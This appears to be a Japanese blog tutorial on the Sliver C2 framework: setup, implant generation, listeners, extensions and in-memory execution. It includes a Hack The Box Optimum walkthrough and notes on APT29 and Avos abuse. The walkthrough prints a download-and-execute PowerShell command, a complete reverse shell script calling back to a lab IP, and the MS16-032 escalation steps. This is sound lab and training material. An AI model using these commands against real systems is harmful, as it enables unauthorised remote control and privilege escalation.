LoginSignup
5
4

はじめに

本記事では、Sliver C2の基本的な機能について調査し、Metasploit等の他ツールとの違いについて整理することを目的としています。
基本的な機能の紹介をした後、実際にSliverC2を使ってHack The Boxのマシンを解いてみようと思います。

概要

Sliver C2は、Bishop Foxによって作成されたC2フレームワークで、Cobalt Strikeや、Metasploitのような機能を提供するポストエクスプロイトツールです。

名前は、MTGのスリヴァーという種族?が由来みたいです。

リンク集

環境について

構築すると以下のような環境を使用することができます。

image.png
(上図はSliver C2 Wikiより参照)

構築するホストは、主にC2 Server, Sliver(implant), Operator(player, client)の三種類です。
ペンテスターはplayerからC2 Serverにアクセスし、implantでのポストエクスプロイトを行います。
図のように複数のplayerで同時にアクセスすることが可能です。
Windows、Mac、LinuxのOSに対応しているので、様々な環境で使用することが可能です。

今回の環境では、以下のようにローカルのkaliVMにサーバとクライアントを立て、Hack The Boxのマシンにimplantを構築しました。
image.png

環境構築

  • https://github.com/BishopFox/sliver/releases の最新リリースから、サーバ&クライアントの実行ファイルをダウンロードします。

    • 今回はvmのkali linux上での構築なのでlinux用のサーバとクライアントを使用します。
    • wget
    #linux client
    wget https://github.com/BishopFox/sliver/releases/download/v1.5.38/sliver-client_linux
    
    #linux server
    wget https://github.com/BishopFox/sliver/releases/download/v1.5.38/sliver-server_linux
    
  • ダウンロードしたサーバを実行します

    $ chmod +x sliver-server_linux
    $ ./sliver-server_linux
    
  • 実行するとこのようにcliが起動します
    image.png

基本的な機能

インプラント

SliverC2を使うためには、ターゲットでインプラントというペイロードを実行し、サーバに接続させる必要があります。

  • インプラントの生成

まず、サーバのコンソールにてインプラントを生成します。

generate --mtls 10.10.14.3 --save /home/kali/SliverC2 --os linux
オプション 内容
--os ターゲットのOSを指定
--mtls 接続方式の指定(ほかには、WireGuard, HTTP(S), DNSをサポートしている)
--save 保存先を指定
  • リスナーの作成

サーバにてインプラントの待ち受けを行うリスナーを生成します。

mtls

これだけで生成完了です。このほかには、http, https, dnsでも生成可能です。

  • インプラントの実行

ターゲットからインプラントの実行を行い、サーバに対して接続、セッションを確立します。

wget等でターゲットに対してインプラントを転送し、以下を実行します。

chmod +x <インプラント名>
./<インプラント名>

実行するとIDが分かるので、サーバ側で以下のコマンドを実行します。

use <ID>

シェルが取得できました。

セッションの一覧が見たいときは、sessions コマンドを実行すると見れます。

※ビーコンモード

インプラントにはセッションモードビーコンモードがあり、ここまでで使用したのはセッションモードです。

ビーコンモードのインプラントは以下のコマンドで生成できます。

generate beacon --mtls 10.10.14.3 --save /home/kali/SliverC2 --os linux

セッションモードは、セッションを作って接続したままにするのに対し、ビーコンモードは、定期的にサーバにアクセスし、設定されたタスクを実行するものです。

拡張機能

Sliver C2は、Armoryというパッケージマネージャによって拡張機能を提供しています。これによって、サードパーティ製のツールを簡単にインストールし、使用することが可能となります。

提供されるツールについては、armoryコマンドを実行することで確認できます。

  • ツールのインストール
#ツールのリスト
armory

#指定したツールのインストール
armory install <ツール名>

#提供されているすべてのツールのインストール
armory install all
  • ツールの更新
#すべてのツールの更新
armory update

実際に使ってみる

  • パッケージリスト

たくさんのツールが使用可能でしたが、Windows周りのツールが多いようです。

image.png

  • rubeusのインストール

image.png

マルチプレイヤーモード

このモードでは、複数のクライアント(Win, Mac, Linuxのどれでも)がC2サーバに対してアクセスでき、gRPCで待ち受けるサーバと接続します。

  • サーバ側

以下のコマンドで構成ファイルの生成を行います。

new-operator --name moloch --lhost 127.0.0.1

サーバにて、マルチプレーヤーモードに切り替えます。

multiplayer

image.png

  • クライアント側

以下のコマンドで構成ファイルをインポートします。

./sliver-client_linux import <構成ファイル>

image.png

クライアントを実行します。

./server-client_linux

image.png

これでクライアントからの操作が可能となりました。

同じ手順で、ほかにもクライアントを用意すると、複数人での操作が可能となります(同一ホストでは検証済みです。)。

Metasploitのペイロード実行

metasploitのペイロード実行機能もあります。
image.png

※上図の赤文字部分は、どのインプラントに接続中かを示す文字列です。インプラントごとに名前が付けられて、わかりやすくなっています。

msf -L 10.10.14.4 -m meterpreter_reverse_tcp

上記のようなコマンドを実行すると、ペイロードの作成、送信、実行をセットで行ってくれるようです。

今回の検証では、以下のような出力で、うまくシェルの取得までできませんでした。
image.png

ステージャ機能

サイズが大きいペイロードを転送するために、ステージング機能があります。

以下のコマンドでリスナーの設定を作成します。
image.png
以下は作成した設定です。
image.png
以下のコマンドでステージングリスナーを作成します。
image.png
以下のコマンドでステージャを作成します。

generate stager --lhost 10.10.14.4 --lport 1234 --protocol http --save /tmp

.NETアセンブリのメモリ内実行

ターゲットで実行ファイルを動かす際アンチウイルスが作動しないように、ディスクに保存せずメモリ内でファイルを実行する機能です。

セッションに入ったのち、以下のコマンドで実行できます。

execute-assembly <実行ファイル>

image.png
これにより、ファイルを転送せず実行することも可能です。

この他の機能

SliverC2には、紹介した以外にもたくさんの機能があります。
以下にいくつかご紹介しておきます。

  • ピボット機能
  • COFF/BOFのインメモリローダ
  • ポートフォワード など

Hack The Boxで使ってみる

ここからは、Hack The BoxのリタイアマシンであるOptimumを対象として、実際にSliver C2を使用してみます。
SliverC2はポストエクスプロイトツールなので、マシンの初期シェルを取得したところから始めます。

Sliver Serverの起動

まず、KaliにてSliver Serverを起動します。
image.png

インプラントの作成

対象にインプラントを作成する必要があるので、Kaliにて以下のようにインプラントの実行ファイルを生成します。
image.png

対象に実行ファイルをダウンロードします。
まず、Kaliで簡易Webサーバを立てます。
image.png

次に、wgetでダウンロードします。
image.png
これでインプラントの実行ファイルのダウンロードが完了しました。

ダウンロードした実行ファイルを使用してインプラントを構築します。
まず、Kaliのサーバ側にて、リスナーを生成します。
image.png

対象にて、ファイルを実行します。
image.png
すると、下図のようにセッションが確立されたことが分かります。これで、インプラントが作成できました。
image.png

クライアントの作成

このままサーバのコンソールでも操作できますが、複数人で使用することを想定しクライアントを作成して作業していきます。

サーバ側で構成ファイルを作成し、マルチプレイヤーモードに変更します。
ここで、今回はローカルにサーバとクライアントを立てるので、lhostにlocalhostのipを指定しています。
image.png
クライアントに構成ファイルをインポートします。
image.png
クライアントを起動します。
image.png
これで、クライアントから操作ができるようになりました。

環境の列挙

ここからは、先ほど作成したインプラントのセッションを使用し、対象の列挙を行っていきます。
まず、以下のようにセッションに入ります。
image.png
SliverC2は、デフォルトでも多くのコマンドを提供しています。helpコマンドを使うと、使用できるコマンドが分かります。
image.png

対象についての情報をinfoコマンドで取得します。
image.png
Version: Server 2012 R2 build 9600 x86_64 から、対象がWindows Server 2012を使用していることが分かりました。また、現在のユーザはkostasというユーザのようです。

getprivsコマンドで現在の権限を取得します。
image.png
悪用できそうな権限はなさそうです。

外部ツールでの列挙

armoryコマンドで外部ツールを管理できるので、使用してみます。
ここでは、バンドルとして列挙ツールがまとまっている.net-reconをインストールします。
image.png

ここでは、sharpupを実行します。
sharpupは、多数の権限昇格チェックを行ってくれるツールです。引数をauditのみにすることで、すべての項目をチェックしてくれます。
image.png
現在のユーザkostasのパスワード(kdeEjDowkS*)が分かりました。

次に、.NETアセンブリのメモリ内実行機能を用いてwinPEASを実行します。
winPEASは、Windows環境の権限昇格に関連するファイルやプロセスなどを列挙してくれるツールです。

まず、KaliにwinPEASを用意します。
image.png
execute-assemblyコマンドを使用して実行します。
image.png
特に悪用できそうな情報はありませんでした。

既知の脆弱性

Windowsの既知の脆弱性を探すツールとしてWindows-Exploit-Suggesterというツールがあります。このツールを使って脆弱性の列挙をします。

対象でsysteminfoコマンドを実行し、その結果をKaliに保存します。
image.png
以下のコマンドでWindows-Exploit-Suggesterを実行します。
image.png
MS16-032という権限昇格の脆弱性が見つかりました。
image.png

権限昇格

MS16-032で権限昇格を行います。
GitHubでPoCを見つけたのでこちらを使用します。
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1

PoCの中身は、指定したコマンドを実行できる関数なので、末尾にコマンドを挿入します。
ここでは、以下のコマンドを使用します。

Invoke-MS16-032 -Command "iex(New-Object Net.WebClient).DownloadString('http://10.10.14.2/revshell.ps1')"

リバースシェルを実行するファイルを作成します。

revshell.ps1
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.2',123);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

PythonでWebサーバを実行し、ncコマンドでシェルのリッスンを行います。
image.png
image.png
Invoke-MS16-032.ps1を対象にアップロードします。
image.png
アップロードしたInvoke-MS16-032.ps1を実行すると、以下のようにシェルが得られます。
image.png
管理者権限が取得できました!

脅威としてのSliver

(23/05/29 14:30追記)
ここまで紹介してきたような技術は、実際に攻撃者などの脅威アクターによって悪用されています。
実際にはどのような脅威があるのか、過去の事例を紹介します。

APT29

MITRE ATT&CK APT29NCSCのレポートによると、ロシアの諜報機関と関係があるとされているAPT29がSliverC2を使用していたようです。
2020年に起きたSolarWindsという企業に対しての攻撃の際、アクセスの維持のために使用されたと考えられています。

Avos

ランサムウェアグループであるAvosは、2022年に攻撃を行った際、新たなツールとしてSliverを使用しました。
実際には、一連の攻撃の中でSliverのペイロードが実行されたことが確認されています。
攻撃の際には、Cobalt Strike等の他ツールと合わせて使用されたようです。

Metasploitとの比較

メジャーなエクスプロイトフレームワークであるMetasploitとSliverC2でどのような違いがあるか、以下の表にまとめました。

Metasploit Sliver C2
C2 サーバとしての利用(複数人での操作) できない できる
エラー文の粒度 細かい あまり細かく出ない印象
ウイルス対策の回避 モジュールがある 外部ツールと合わせることで実装
拡張機能 独自で拡張可能 独自で拡張可能
ペイロードの生成 ペイロードの選択が必要 簡単なものであれば、OSの選択のみ
文献の量 非常に多い Wikiは充実しているが、他の文献は少ない

所感

基本的に機能は充実しているように思いました。ですが文献が少ないため、使用方法が分かりにくいものも多くありました。
BOFのローダなども外部ツールを使用することで使用可能でしたが、Metasploitでも対応可能な機能が多いかと思いました。ですが、とても簡単に外部ツールが利用できる仕組み(armoryやexecute-assembly)があったので、とても使いやすく感じました。
コマンドについてもわかりやすいものが多く、特にMetasploitのペイロード実行機能等については、非常に簡単な操作で使用できました。

まとめ

ここまで、Sliver C2の機能について試してきました。
使用場面についてですが、複数人で同じ環境を用いたい場合や、Windows環境に対してのエクスプロイトを行いたい際などに適していると思います。
限られてはいますが、パッケージの管理を一括で行えるため、環境の管理も楽になるのではないかと思います。
ですが、今回試した内容でフレームワークとして使うのであれば、Metasploitの方がよいかと思います。やはり文献が少ないのは大変でした。
今後の機能拡充にも注目していきたいと思います。

読んでいただきありがとうございました。

参考文献

5
4
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
5
4